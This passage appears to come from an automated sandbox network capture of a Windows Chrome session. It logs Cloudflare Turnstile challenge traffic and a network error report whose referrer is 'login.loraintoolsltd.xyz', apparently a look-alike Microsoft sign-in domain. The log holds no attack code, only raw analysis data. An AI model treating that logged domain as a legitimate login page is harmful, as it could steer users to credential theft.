54 78 54 64 78 51 51 5a 55 78 68 64 6c 50 71 Data Ascii: v_905d758c9c7f5e68=RgdQ-QuQBQUQoQh-xt-xU9QZlpHQxgbByxqPxhuQzIx%2bext81TJhi1dxmQIHQhyxrbQxioIHAxlelNx0NxYVKUzoxTlJC9bQhSxvQzYTADuhJxAx0gt5+lQAR5bD2ubIexidzYxadzyR2BNx9QzVxI8ida9X9R4T8qfbxb+CoxbXAQhBTuheQP-FxzJxeHJzVQbV5xnVCDJxHjHOxbDgFxzZBuzTxTdxQQZUxhdlPq
2025-01-22 06:24:08 UTC	815	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 06:24:08 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 163052 Connection: close cf-chl-gen: xcuxFVoUdULLuM6Dx8uTGm+gYJC3JNvCRTLPednQRwrI4byS3OQjfAWCN+gLIerVmT/kS24lSUmze0S6K+v56LyLtyhM2jzG9QNG5/exY6sm4EOay0gOuX1QIRA2pQqsQSNcuJrE+Xx9BGAJuI8F50CkN5Tr7hTh9K5SMBfhLNwonOTqRR8h5GdgaQ6rzaG2mhyq5yEEhGiVjCzVSA921jv/in5HUvqs8V23+7g574OANjkZnqdSezHTxpRmPgXW1cMoau7vXbfM7VYzr5BXIUN9KQagN7SIikDB0ahtr3qaNp1xoQbmH06XyiS37odd8Ysegf0c1tCpyrWCBAYhlPhE9/xauNKJUStaokGKFVA0Iw+zx9JztnkmkA1NZ5w5Xi+Ou8Hs8L/7PSK72oib1UwsplxPhvLMUB0ELF0yRSmzlI6TrcyLDvG74ObPJbwKs5VHlKNVD7ewifra6DAkDI9t/ANpzfShnX9XGqKs0hdFSDPV7zg2CoLnAe1NhkhNBw4xLnpaTeYtDb/zK0u6TJr2x2wsO/ObTIyb4VAsyA8=$h5JDGXVRFNZQNcNnERECtQ== Server: cloudflare CF-RAY: 905d7597491c7274-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 06:24:08 UTC	554	IN	Data Raw: 62 46 47 4d 54 59 69 50 65 47 57 4d 62 56 65 53 58 33 71 50 62 36 56 35 6a 33 4b 6b 6b 34 56 2f 61 6f 71 49 61 5a 46 39 66 36 4f 4e 67 6e 2b 68 73 6f 56 30 6c 70 46 76 6d 48 31 2b 67 59 32 72 77 37 58 44 6e 49 43 36 74 37 72 4c 6f 63 2b 37 6a 4a 75 51 71 49 79 77 77 38 66 57 31 4a 6a 53 6d 4d 65 59 73 62 57 68 6e 4e 36 69 6c 38 48 65 70 4c 2f 66 70 4b 72 59 35 38 54 78 76 4e 2f 67 72 4d 76 42 34 4c 44 50 78 65 36 33 36 4e 6e 78 76 75 33 33 32 41 55 48 38 2f 6a 44 33 2b 58 38 79 2b 50 70 2f 73 6b 4d 7a 4f 6e 70 78 2b 6a 54 30 68 59 51 42 42 51 56 47 75 6a 34 46 41 37 64 35 41 44 67 4a 79 55 66 44 4e 30 68 49 76 34 6e 35 75 4d 64 4d 67 67 42 41 2b 34 4d 4f 76 55 37 37 68 6b 62 2b 42 45 5a 2b 78 6b 68 49 7a 77 6d 2f 6a 6c 45 4f 6b 41 6b 53 77 77 6a 51 78 39 Data Ascii: bFGMTYiPeGWMbVeSX3qPb6V5j3Kkk4V/aoqIaZF9f6ONgn+hsoV0lpFvmH1+gY2rw7XDnIC6t7rLoc+7jJuQqIyww8fW1JjSmMeYsbWhnN6il8HepL/fpKrY58TxvN/grMvB4LDPxe636Nnxvu332AUH8/jD3+X8y+Pp/skMzOnpx+jT0hYQBBQVGuj4FA7d5ADgJyUfDN0hIv4n5uMdMggBA+4MOvU77hkb+BEZ+xkhIzwm/jlEOkAkSwwjQx9
2025-01-22 06:24:08 UTC	1369	IN	Data Raw: 54 6e 45 75 6b 75 4a 66 49 76 38 78 30 61 2b 41 73 65 49 44 30 6a 2b 7a 5a 4a 53 45 49 34 41 6b 49 69 4b 52 67 79 49 30 51 67 54 55 52 48 49 52 42 55 53 45 34 54 56 52 6b 78 59 45 70 58 58 30 59 39 52 7a 6c 43 53 47 5a 56 48 7a 31 47 50 6d 67 6f 4a 56 35 30 52 6b 42 71 62 55 35 56 64 45 64 4f 54 6c 71 41 4e 46 34 32 65 6e 46 56 53 45 42 70 52 48 2b 46 62 5a 42 4a 57 33 31 51 5a 6f 61 4e 61 57 36 42 55 70 68 58 68 31 32 48 6c 56 64 65 70 48 43 54 64 49 47 49 71 48 79 68 66 4a 75 5a 67 6e 39 74 69 58 43 66 73 35 52 78 6d 61 65 6c 72 33 78 32 71 4a 36 68 6f 71 4f 30 66 59 2b 78 68 4b 4b 38 77 63 4c 41 72 73 4c 48 70 36 2b 49 77 74 58 55 71 38 61 6a 73 73 65 5a 76 4c 53 32 76 38 44 59 72 74 2f 4f 35 4c 76 6d 77 4f 4b 7a 35 37 61 33 76 72 37 43 33 36 54 4f 70 Data Ascii: TnEukuJfIv8x0a+AseID0j+zZJSEI4AkIiKRgyI0QgTURHIRBUSE4TVRkxYEpXX0Y9RzlCSGZVHz1GPmgoJV50RkBqbU5VdEdOTlqANF42enFVSEBpRH+FbZBJW31QZoaNaW6BUphXh12HlVdepHCTdIGIqHyhfJuZgn9tiXCfs5Rxmaelr3x2qJ6hoqO0fY+xhKK8wcLArsLHp6+IwtXUq8ajsseZvLS2v8DYrt/O5LvmwOKz57a3vr7C36TOp
2025-01-22 06:24:08 UTC	1369	IN	Data Raw: 7a 47 78 45 76 2b 55 41 33 51 54 67 4e 4a 77 55 57 41 45 49 73 43 55 55 75 47 67 30 6c 43 56 46 41 51 69 41 32 45 43 52 4b 53 45 6f 6c 4d 44 35 50 46 31 49 72 54 6a 6c 56 51 56 6b 2f 48 46 59 35 5a 46 70 42 4b 6d 64 79 61 47 56 6a 62 6d 5a 57 51 55 78 79 58 45 56 51 64 48 70 4a 56 48 69 44 57 56 43 46 65 56 74 6b 53 56 70 48 54 58 35 63 63 47 70 4c 5a 59 36 49 64 35 46 7a 65 33 78 72 61 47 2b 5a 55 6d 31 35 63 6f 52 39 66 33 64 31 63 32 47 56 70 48 65 50 71 57 2b 4b 69 57 57 6d 6a 33 4b 34 67 4b 65 4d 71 72 46 35 6b 37 43 51 75 5a 65 4d 75 71 61 58 6d 62 69 62 75 73 75 56 6e 62 75 6a 7a 62 4b 79 75 35 33 45 73 36 53 54 70 37 61 37 7a 73 6a 47 30 39 71 2f 30 38 43 7a 6d 39 36 2f 73 39 36 2b 78 64 57 6a 76 4e 79 71 32 2b 44 69 74 4b 7a 77 39 4f 76 54 38 62 Data Ascii: zGxEv+UA3QTgNJwUWAEIsCUUuGg0lCVFAQiA2ECRKSEolMD5PF1IrTjlVQVk/HFY5ZFpBKmdyaGVjbmZWQUxyXEVQdHpJVHiDWVCFeVtkSVpHTX5ccGpLZY6Id5Fze3xraG+ZUm15coR9f3d1c2GVpHePqW+KiWWmj3K4gKeMqrF5k7CQuZeMuqaXmbibusuVnbujzbKyu53Es6STp7a7zsjG09q/08Czm96/s96+xdWjvNyq2+DitKzw9OvT8b
2025-01-22 06:24:08 UTC	1369	IN	Data Raw: 41 53 30 42 48 78 5a 49 41 68 59 58 4a 69 77 6d 53 68 38 70 51 45 35 49 46 53 63 4e 4c 78 49 5a 44 56 46 56 47 6b 6f 37 57 68 68 5a 59 54 55 76 58 7a 4e 62 4e 45 6f 6b 4e 6c 5a 61 50 55 52 6d 52 33 4a 4d 55 58 4a 69 54 45 6f 30 4f 44 5a 73 57 58 5a 36 50 7a 78 6a 67 46 4e 47 64 56 4e 42 58 6f 78 47 65 34 61 48 66 32 53 41 54 6f 70 72 6c 6f 36 47 62 6e 65 45 54 31 65 51 67 5a 68 59 6a 34 35 63 65 6f 4b 49 71 6e 79 61 67 47 53 48 71 47 36 5a 68 35 47 70 64 58 4b 33 63 37 65 50 68 6f 69 6c 6b 72 43 55 6e 4a 65 50 72 48 64 2f 75 4a 6e 41 67 4c 65 32 7a 4b 43 2b 6a 37 36 6e 6e 4a 53 6a 30 39 4c 4f 32 4c 65 78 32 4a 6d 77 30 4b 7a 65 77 70 37 46 72 39 6a 51 71 4f 43 32 31 39 62 72 76 72 6e 6d 30 71 54 4f 31 50 58 49 36 4e 44 68 79 4e 58 57 38 2b 37 31 75 4f 33 Data Ascii: AS0BHxZIAhYXJiwmSh8pQE5IFScNLxIZDVFVGko7WhhZYTUvXzNbNEokNlZaPURmR3JMUXJiTEo0ODZsWXZ6PzxjgFNGdVNBXoxGe4aHf2SAToprlo6GbneET1eQgZhYj45ceoKIqnyagGSHqG6Zh5GpdXK3c7ePhoilkrCUnJePrHd/uJnAgLe2zKC+j76nnJSj09LO2Lex2Jmw0Kzewp7Fr9jQqOC219brvrnm0qTO1PXI6NDhyNXW8+71uO3
2025-01-22 06:24:08 UTC	1369	IN	Data Raw: 44 77 72 43 30 74 49 4f 68 34 36 4d 6b 4d 50 45 42 41 74 45 79 5a 44 47 53 6b 61 48 56 73 71 47 45 78 51 57 79 52 6b 5a 6c 52 6d 48 45 59 6c 4f 45 68 63 58 6b 35 45 55 6d 52 50 62 6c 5a 6f 55 6e 4a 61 62 45 56 32 58 6d 38 33 63 6b 74 75 57 58 56 68 65 56 38 38 64 6c 6d 45 65 6d 46 48 57 30 6d 49 58 34 75 57 6a 48 65 48 6b 6f 71 45 5a 58 43 55 6d 6d 6c 30 6d 4b 4a 74 65 4a 78 65 5a 6e 4f 58 5a 5a 36 71 69 33 70 36 71 70 47 6b 6c 71 65 4a 67 36 32 6a 6a 70 6c 36 66 61 74 35 73 72 36 65 64 6f 36 2f 6d 70 36 31 76 4d 47 6b 79 38 69 36 6f 35 43 4f 6f 36 66 4f 7a 49 6d 57 6c 4e 57 37 31 61 72 48 79 4c 58 43 75 4c 6a 44 33 4e 4b 34 75 75 44 57 76 4c 72 6b 32 72 2b 36 36 4e 37 43 70 73 57 2f 39 66 6a 47 7a 4d 2b 36 75 62 58 64 38 37 7a 37 37 75 57 39 38 73 66 61 Data Ascii: DwrC0tIOh46MkMPEBAtEyZDGSkaHVsqGExQWyRkZlRmHEYlOEhcXk5EUmRPblZoUnJabEV2Xm83cktuWXVheV88dlmEemFHW0mIX4uWjHeHkoqEZXCUmml0mKJteJxeZnOXZZ6qi3p6qpGklqeJg62jjpl6fat5sr6edo6/mp61vMGky8i6o5COo6fOzImWlNW71arHyLXCuLjD3NK4uuDWvLrk2r+66N7CpsW/9fjGzM+6ubXd87z77uW98sfa
2025-01-22 06:24:08 UTC	1369	IN	Data Raw: 41 78 53 6a 4a 45 4d 30 34 32 53 44 5a 53 4f 6b 77 33 56 6a 35 51 4f 6c 70 43 56 43 31 65 52 6c 63 66 57 6a 4e 57 51 56 31 4a 59 55 63 6b 58 6b 46 73 59 6b 6b 77 52 47 6c 71 66 44 52 79 62 56 35 5a 61 6e 35 6c 54 56 68 38 67 6c 46 63 67 49 70 56 59 49 52 50 57 57 53 4a 58 46 31 6f 6a 46 4e 68 62 4a 46 78 63 57 69 64 6a 32 43 67 69 32 43 55 6e 48 4f 55 66 70 74 6d 70 49 47 68 70 6f 61 63 6f 36 69 6f 6b 70 57 6c 74 35 53 70 75 6d 36 4f 73 5a 32 73 65 37 75 36 64 73 4f 7a 70 34 69 69 71 4b 53 64 75 35 7a 4d 6e 49 32 75 79 61 4c 50 31 4d 61 59 77 64 43 79 7a 37 62 4d 78 39 32 72 74 74 62 63 30 70 6a 45 30 4c 4c 6a 35 62 7a 73 7a 4f 62 78 72 63 7a 70 77 76 44 30 36 4e 6e 68 38 73 37 30 32 66 79 31 76 66 75 37 77 77 61 39 78 67 58 58 78 65 4c 64 39 38 54 75 33 Data Ascii: AxSjJEM042SDZSOkw3Vj5QOlpCVC1eRlcfWjNWQV1JYUckXkFsYkkwRGlqfDRybV5Zan5lTVh8glFcgIpVYIRPWWSJXF1ojFNhbJFxcWidj2Cgi2CUnHOUfptmpIGhpoaco6iokpWlt5Spum6OsZ2se7u6dsOzp4iiqKSdu5zMnI2uyaLP1MaYwdCyz7bMx92rttbc0pjE0LLj5bzszObxrczpwvD06Nnh8s702fy1vfu7wwa9xgXXxeLd98Tu3
2025-01-22 06:24:08 UTC	1369	IN	Data Raw: 76 4b 7a 49 54 50 43 31 4b 4c 54 55 6f 4b 32 4d 56 58 6d 4e 45 55 54 42 65 4b 42 30 33 4a 53 78 72 5a 53 67 73 53 44 38 73 4e 57 52 54 5a 6e 64 62 54 56 5a 64 53 46 46 75 55 56 6c 4d 54 34 63 35 67 6f 64 6f 64 56 53 43 54 48 74 47 69 56 42 71 66 5a 61 54 67 31 5a 36 57 6f 68 5a 63 56 57 64 6a 49 35 73 68 48 57 61 6f 58 70 36 59 4a 35 6f 6f 32 6d 70 66 6d 6d 49 6a 70 43 75 6a 35 61 41 75 62 69 51 6d 49 71 47 74 37 6d 51 72 71 47 55 64 6f 4b 35 77 5a 2b 46 77 37 62 4a 74 34 43 73 75 4d 61 7a 78 70 43 39 76 38 76 4c 78 73 50 4f 7a 35 62 49 72 4b 6e 4a 77 5a 76 66 33 62 7a 47 77 4b 6e 62 6f 37 6e 59 75 75 4f 34 32 37 48 4f 35 38 2f 6b 34 4d 50 44 79 62 50 38 36 37 44 63 7a 73 72 37 77 74 51 47 35 64 69 2b 78 65 66 47 32 67 34 4e 41 64 33 37 42 2f 77 4e 37 78 Data Ascii: vKzITPC1KLTUoK2MVXmNEUTBeKB03JSxrZSgsSD8sNWRTZndbTVZdSFFuUVlMT4c5gododVSCTHtGiVBqfZaTg1Z6WohZcVWdjI5shHWaoXp6YJ5oo2mpfmmIjpCuj5aAubiQmIqGt7mQrqGUdoK5wZ+Fw7bJt4CsuMazxpC9v8vLxsPOz5bIrKnJwZvf3bzGwKnbo7nYuuO427HO58/k4MPDybP867Dczsr7wtQG5di+xefG2g4NAd37B/wN7x
2025-01-22 06:24:08 UTC	1369	IN	Data Raw: 47 6b 70 4f 59 42 51 56 48 42 31 59 53 46 35 48 4e 54 4d 2f 50 47 5a 4a 59 54 6f 78 4b 53 30 74 55 6c 52 74 56 30 56 44 54 30 78 32 57 58 46 32 56 6a 6c 4d 57 45 46 64 5a 33 52 45 53 30 5a 4e 69 57 78 64 65 30 71 42 6b 6c 2b 56 56 49 71 50 6d 49 68 33 58 5a 6c 38 62 59 70 61 6b 61 4a 76 70 57 53 61 6e 36 69 59 6e 57 32 70 6a 48 32 64 61 71 47 79 66 37 56 30 71 71 2b 34 6c 5a 74 39 75 5a 79 4e 72 48 71 78 77 6f 2f 46 68 4c 71 2f 79 4c 54 46 6a 63 6d 73 6e 62 2b 4b 77 64 4b 66 31 5a 54 4b 7a 39 6a 49 32 5a 33 5a 76 4b 33 4f 6d 74 48 69 72 2b 57 6b 32 74 2f 6f 78 4e 6d 74 36 63 79 39 34 61 72 68 38 72 2f 31 73 39 50 55 2b 37 4c 49 39 62 6e 70 39 2f 58 65 76 4c 33 54 42 73 44 58 77 64 6a 69 32 72 2f 68 37 75 37 71 42 77 50 30 36 64 34 53 42 52 48 73 37 2b 76 Data Ascii: GkpOYBQVHB1YSF5HNTM/PGZJYToxKS0tUlRtV0VDT0x2WXF2VjlMWEFdZ3RES0ZNiWxde0qBkl+VVIqPmIh3XZl8bYpakaJvpWSan6iYnW2pjH2daqGyf7V0qq+4lZt9uZyNrHqxwo/FhLq/yLTFjcmsnb+KwdKf1ZTKz9jI2Z3ZvK3OmtHir+Wk2t/oxNmt6cy94arh8r/1s9PU+7LI9bnp9/XevL3TBsDXwdji2r/h7u7qBwP06d4SBRHs7+v
2025-01-22 06:24:08 UTC	1369	IN	Data Raw: 32 55 63 55 45 56 43 53 57 5a 4d 51 54 5a 70 58 47 68 45 52 79 6f 7a 54 7a 4e 69 62 6b 52 31 4e 30 5a 72 4e 54 6b 35 58 6d 41 2b 59 31 46 50 57 31 69 43 5a 58 31 6b 54 6e 39 78 6b 45 53 4a 6b 6c 4a 75 68 70 56 5a 6c 58 68 70 69 31 61 4e 6e 6d 75 68 59 4a 61 62 70 31 32 49 71 6e 71 44 66 33 75 43 6d 48 68 2f 61 4a 79 52 6a 70 56 33 6d 49 32 43 74 61 69 5a 64 58 36 41 69 70 53 2f 6b 35 71 6e 75 70 33 45 75 63 57 33 76 49 36 6f 77 64 44 4f 72 59 79 4e 79 4c 6a 4f 74 36 57 6a 72 36 7a 57 75 64 47 71 6c 4c 71 64 6e 63 4c 45 33 63 65 31 73 37 2b 38 35 73 6e 68 35 73 61 70 76 2b 69 77 34 2b 48 74 74 4f 61 32 76 66 6e 63 7a 65 75 36 38 51 50 50 42 73 54 36 41 4d 59 4c 36 2f 6e 49 44 65 63 47 7a 50 34 4b 41 4d 2f 58 31 67 37 55 42 78 49 49 31 39 2f 65 46 74 77 50 Data Ascii: 2UcUEVCSWZMQTZpXGhERyozTzNibkR1N0ZrNTk5XmA+Y1FPW1iCZX1kTn9xkESJklJuhpVZlXhpi1aNnmuhYJabp12IqnqDf3uCmHh/aJyRjpV3mI2CtaiZdX6AipS/k5qnup3EucW3vI6owdDOrYyNyLjOt6Wjr6zWudGqlLqdncLE3ce1s7+85snh5sapv+iw4+HttOa2vfnczeu68QPPBsT6AMYL6/nIDecGzP4KAM/X1g7UBxII19/eFtwP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49756	2.16.168.115	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:09 UTC	434	OUT	OPTIONS /api/report?catId=GW+estsfd+san HTTP/1.1 Host: identity.nel.measure.office.net Connection: keep-alive Origin: https://login.loraintoolsltd.xyz Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 06:24:09 UTC	319	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 7 Date: Wed, 22 Jan 2025 06:24:09 GMT Connection: close Access-Control-Allow-Headers: content-type Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2025-01-22 06:24:09 UTC	7	IN	Data Raw: 4f 50 54 49 4f 4e 53 Data Ascii: OPTIONS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49757	104.18.95.41	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:10 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/431424420:1737523604:zQsNKK_EULmLK6t-Izi3ZT6_56oVUwerMj_ulv66oTg/905d758c9c7f5e68/xZy1J9QD_T__5I8odcDMzLJ0YRHiFDf_j_vkwqg7yz8-1737527047-1.1.1.1-hkYFqkAksropzwGMvswgkxmoSZn3vG.4JsNtaGh_XjxdJsgj9xNxQOaIcEobJFoI HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 06:24:10 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Wed, 22 Jan 2025 06:24:10 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: UCvl2O7i/sDguJif9z/dJbQZfe8YPTeAe+GiaZnCDMt/tyF7CuQ3Ze0bw6bS1asRwzV/0fKiZ6NYIYivJtIeRw==$CKIgWFs4zJ2KotjLTsFaAg== Server: cloudflare CF-RAY: 905d75a0685943da-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 06:24:10 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49758	2.16.168.115	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:10 UTC	367	OUT	POST /api/report?catId=GW+estsfd+san HTTP/1.1 Host: identity.nel.measure.office.net Connection: keep-alive Content-Length: 446 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 06:24:10 UTC	446	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 34 37 31 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 6c 6f 72 61 69 6e 74 6f 6f 6c 73 6c 74 64 2e 78 79 7a 2f 46 67 4a 49 6f 52 44 6d 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 33 2e 34 36 2e 38 30 2e 32 31 37 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f Data Ascii: [{"age":0,"body":{"elapsed_time":471,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://login.loraintoolsltd.xyz/FgJIoRDm","sampling_fraction":1.0,"server_ip":"173.46.80.217","status_code":404,"type":"http.error"},"type":"netwo
2025-01-22 06:24:10 UTC	333	IN	HTTP/1.1 429 Too Many Requests Content-Length: 0 Request-Context: appId=cid-v1:43ccb73c-0dfb-456b-9d4c-ddf7f5584002 Date: Wed, 22 Jan 2025 06:24:10 GMT Connection: close Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49759	104.18.95.41	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:10 UTC	786	OUT	GET /cdn-cgi/challenge-platform/h/g/d/905d758c9c7f5e68/1737527048859/h0R7LETiUR5EdkQ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fjr99/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 06:24:11 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 06:24:11 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 905d75a50cee42cf-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 06:24:11 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 58 00 00 00 5f 08 02 00 00 00 e3 f2 97 db 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRX_IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49761	104.18.95.41	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:11 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/g/d/905d758c9c7f5e68/1737527048859/h0R7LETiUR5EdkQ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 06:24:11 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 06:24:11 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 905d75a94e320f71-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 06:24:11 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 58 00 00 00 5f 08 02 00 00 00 e3 f2 97 db 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRX_IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49762	104.18.95.41	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:11 UTC	815	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/905d758c9c7f5e68/1737527048862/192915dd2a27315a544581a44a57df06334e835618996b50b5008f69205041ef/1C3Bys2O25GcXgM HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fjr99/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 06:24:12 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Wed, 22 Jan 2025 06:24:11 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-01-22 06:24:12 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 47 53 6b 56 33 53 6f 6e 4d 56 70 55 52 59 47 6b 53 6c 66 66 42 6a 4e 4f 67 31 59 59 6d 57 74 51 74 51 43 50 61 53 42 51 51 65 38 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gGSkV3SonMVpURYGkSlffBjNOg1YYmWtQtQCPaSBQQe8AGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-01-22 06:24:12 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49765	104.18.95.41	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
